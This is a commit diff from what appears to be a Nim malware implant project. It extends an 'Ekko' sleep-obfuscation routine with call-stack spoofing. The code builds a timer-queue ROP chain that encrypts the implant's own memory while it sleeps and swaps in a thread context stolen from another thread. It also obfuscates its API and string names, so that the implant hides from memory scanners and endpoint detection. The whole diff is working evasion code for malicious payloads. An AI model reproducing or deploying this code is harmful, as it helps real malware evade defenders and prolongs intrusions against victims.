Extended ekko implementation with stack spoofing.
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import strformat
|
import winim/inc/tlhelp32
|
||||||
|
import os, strformat
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
import sugar
|
import sugar
|
||||||
@@ -20,19 +21,63 @@ type
|
|||||||
|
|
||||||
# Required APIs (definitions taken from NtDoc)
|
# Required APIs (definitions taken from NtDoc)
|
||||||
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
||||||
|
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
||||||
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
||||||
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
|
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
||||||
|
|
||||||
|
# Function for retrieving a random thread's thread context for stack spoofing
|
||||||
|
proc getRandomThreadCtx(): CONTEXT =
|
||||||
|
|
||||||
|
var
|
||||||
|
ctx: CONTEXT
|
||||||
|
hSnapshot: HANDLE
|
||||||
|
thd32Entry: THREADENTRY32
|
||||||
|
hThread: HANDLE
|
||||||
|
|
||||||
|
thd32Entry.dwSize = DWORD(sizeof(THREADENTRY32))
|
||||||
|
|
||||||
|
# Create snapshot of all available threads
|
||||||
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
||||||
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: CloseHandle(hSnapshot)
|
||||||
|
|
||||||
|
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
||||||
|
# Check if the thread belongs to the current process but is not the current thread
|
||||||
|
if thd32Entry.th32OwnerProcessID == GetCurrentProcessId() and thd32Entry.th32ThreadID != GetCurrentThreadId():
|
||||||
|
|
||||||
|
# Open handle to the thread
|
||||||
|
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thd32Entry.th32ThreadID)
|
||||||
|
if hThread == 0:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Retrieve thread context
|
||||||
|
ctx.ContextFlags = CONTEXT_ALL
|
||||||
|
if GetThreadContext(hThread, addr ctx) == 0:
|
||||||
|
continue
|
||||||
|
|
||||||
|
echo protect("[*] Spoofing with call stack of thread "), $thd32Entry.th32ThreadID
|
||||||
|
break
|
||||||
|
|
||||||
|
return ctx
|
||||||
|
|
||||||
|
# Ekko sleep obfuscation with stack spoofing
|
||||||
proc sleepEkko*(sleepDelay: int) =
|
proc sleepEkko*(sleepDelay: int) =
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
key: USTRING = USTRING(Length: 0)
|
key: USTRING = USTRING(Length: 0)
|
||||||
img: USTRING = USTRING(Length: 0)
|
img: USTRING = USTRING(Length: 0)
|
||||||
ctx: array[7, CONTEXT]
|
ctx: array[10, CONTEXT]
|
||||||
ctxInit: CONTEXT
|
ctxInit: CONTEXT
|
||||||
|
ctxBackup: CONTEXT
|
||||||
|
ctxSpoof: CONTEXT
|
||||||
|
hThread: HANDLE
|
||||||
hEvent: HANDLE
|
hEvent: HANDLE
|
||||||
hEventStart: HANDLE
|
hEventStart: HANDLE
|
||||||
hEventEnd: HANDLE
|
hEventEnd: HANDLE
|
||||||
@@ -43,8 +88,8 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
var
|
var
|
||||||
NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue")
|
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
|
||||||
SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032")
|
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
||||||
|
|
||||||
# Locate image base and size
|
# Locate image base and size
|
||||||
var imageBase = GetModuleHandleA(NULL)
|
var imageBase = GetModuleHandleA(NULL)
|
||||||
@@ -64,19 +109,26 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
status = RtlCreateTimerQueue(addr queue)
|
status = RtlCreateTimerQueue(addr queue)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
defer: discard RtlDeleteTimerQueue(queue)
|
||||||
|
|
||||||
# Create events
|
# Create events
|
||||||
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
defer: CloseHandle(hEvent)
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
|
# Retrieve a random thread context from the current process
|
||||||
|
ctxSpoof = getRandomThreadCtx()
|
||||||
|
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
@@ -90,6 +142,11 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
|
|
||||||
WaitForSingleObject(hEvent, 1000)
|
WaitForSingleObject(hEvent, 1000)
|
||||||
|
|
||||||
|
# Create handle to the current process
|
||||||
|
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
# Initially, each element in this array will have the same context as the timer's thread context
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
for i in 0 ..< ctx.len():
|
for i in 0 ..< ctx.len():
|
||||||
@@ -115,27 +172,43 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
ctx[2].Rcx = cast[DWORD64](addr img)
|
ctx[2].Rcx = cast[DWORD64](addr img)
|
||||||
ctx[2].Rdx = cast[DWORD64](addr key)
|
ctx[2].Rdx = cast[DWORD64](addr key)
|
||||||
|
|
||||||
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
# Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
|
||||||
ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
ctxBackup.ContextFlags = CONTEXT_ALL
|
||||||
ctx[3].Rcx = cast[DWORD64](GetCurrentProcess())
|
ctx[3].Rip = cast[DWORD64](GetThreadContext)
|
||||||
ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
ctx[3].Rcx = cast[DWORD64](hThread)
|
||||||
ctx[3].R8 = cast[DWORD64](FALSE)
|
ctx[3].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
|
||||||
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
# Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
|
||||||
ctx[4].Rip = cast[DWORD64](SystemFunction032)
|
ctx[4].Rip = cast[DWORD64](SetThreadContext)
|
||||||
ctx[4].Rcx = cast[DWORD64](addr img)
|
ctx[4].Rcx = cast[DWORD64](hThread)
|
||||||
ctx[4].Rdx = cast[DWORD64](addr key)
|
ctx[4].Rdx = cast[DWORD64](addr ctxSpoof)
|
||||||
|
|
||||||
|
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
|
ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
|
ctx[5].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
|
ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
||||||
|
ctx[5].R8 = cast[DWORD64](FALSE)
|
||||||
|
|
||||||
|
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
|
ctx[6].Rip = cast[DWORD64](SystemFunction032)
|
||||||
|
ctx[6].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[6].Rdx = cast[DWORD64](addr key)
|
||||||
|
|
||||||
|
# Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
|
||||||
|
ctx[7].Rip = cast[DWORD64](SetThreadContext)
|
||||||
|
ctx[7].Rcx = cast[DWORD64](hThread)
|
||||||
|
ctx[7].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
|
||||||
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
ctx[5].Rip = cast[DWORD64](VirtualProtect)
|
ctx[8].Rip = cast[DWORD64](VirtualProtect)
|
||||||
ctx[5].Rcx = cast[DWORD64](imageBase)
|
ctx[8].Rcx = cast[DWORD64](imageBase)
|
||||||
ctx[5].Rdx = cast[DWORD64](imageSize)
|
ctx[8].Rdx = cast[DWORD64](imageSize)
|
||||||
ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
ctx[5].R9 = cast[DWORD64](addr value)
|
ctx[8].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
ctx[6].Rip = cast[DWORD64](SetEvent)
|
ctx[9].Rip = cast[DWORD64](SetEvent)
|
||||||
ctx[6].Rcx = cast[DWORD64](hEventEnd)
|
ctx[9].Rcx = cast[DWORD64](hEventEnd)
|
||||||
|
|
||||||
# Executing timers
|
# Executing timers
|
||||||
for i in 0 ..< ctx.len():
|
for i in 0 ..< ctx.len():
|
||||||
@@ -144,18 +217,12 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
|
||||||
echo "[*] Triggering sleep obfuscation"
|
echo protect("[*] Triggering sleep obfuscation")
|
||||||
|
|
||||||
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
sleep(sleepDelay)
|
||||||
|
echo protect("[-] "), err.msg
|
||||||
finally:
|
|
||||||
# Cleanup
|
|
||||||
if queue != 0: discard RtlDeleteTimerQueue(queue)
|
|
||||||
if hEvent != 0: CloseHandle(hEvent)
|
|
||||||
if hEventStart != 0: CloseHandle(hEventStart)
|
|
||||||
if hEventEnd != 0: CloseHandle(hEventEnd)
|
|
||||||
Reference in New Issue
Block a user